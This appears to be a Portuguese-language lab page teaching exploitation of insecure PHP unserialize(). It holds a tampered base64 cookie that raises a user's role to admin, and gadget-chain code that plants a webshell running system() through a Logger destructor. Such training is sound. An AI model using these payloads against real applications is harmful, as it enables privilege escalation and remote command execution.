📦 PHP Deserialization Lab
Laboratório de exploração de unserialize() inseguro em PHP.
⚠️ Objetivo: Modifique o objeto serializado para definir
role = admin e capture a flag.
⚙️ Objeto Legítimo (Base64)
Este é o cookie/payload enviado normalmente:
TzoxNToiVXNlclByZWZlcmVuY2VzIjo0OntzOjU6InRoZW1lIjtzOjQ6ImRhcmsiO3M6NDoibGFuZyI7czoyOiJlbiI7czo4OiJ1c2VybmFtZSI7czo1OiJ1c2VyMSI7czo0OiJyb2xlIjtzOjQ6InVzZXIiO30=
Serializado bruto:
O:15:"UserPreferences":4:{s:5:"theme";s:4:"dark";s:4:"lang";s:2:"en";s:8:"username";s:5:"user1";s:4:"role";s:4:"user";}
🔍 Deserializar Payload
📖 Como Explorar
- Copie o objeto legítimo (serializado bruto):
O:15:"UserPreferences":4:{...} - Altere
s:4:"role";s:4:"user";paras:4:"role";s:5:"admin"; - Lembre de atualizar o comprimento:
s:5:"admin"(5 chars) - Encode em base64 e cole no campo acima
- Capture a flag!
Payload Malicioso (spoiler):
Mostrar payload
TzoxNToiVXNlclByZWZlcmVuY2VzIjo0OntzOjU6InRoZW1lIjtzOjQ6ImRhcmsiO3M6NDoibGFuZyI7czoyOiJlbiI7czo4OiJ1c2VybmFtZSI7czo2OiJoYWNrZXIiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7fQ==
🔗 Gadget Chain (Logger)
O servidor também possui a classe Logger com um destructor vulnerável que escreve em arquivos arbitrários:
// Cria um Logger que escreve webshell em qualquer path $gadget = new Logger(); $gadget->logFile = "/var/www/html/public/uploads/shell.php"; $gadget->logData = "<?php system($_GET['cmd']); ?>"; echo base64_encode(serialize($gadget));
⚠️ Só funciona se o processo PHP tiver permissão de escrita no destino.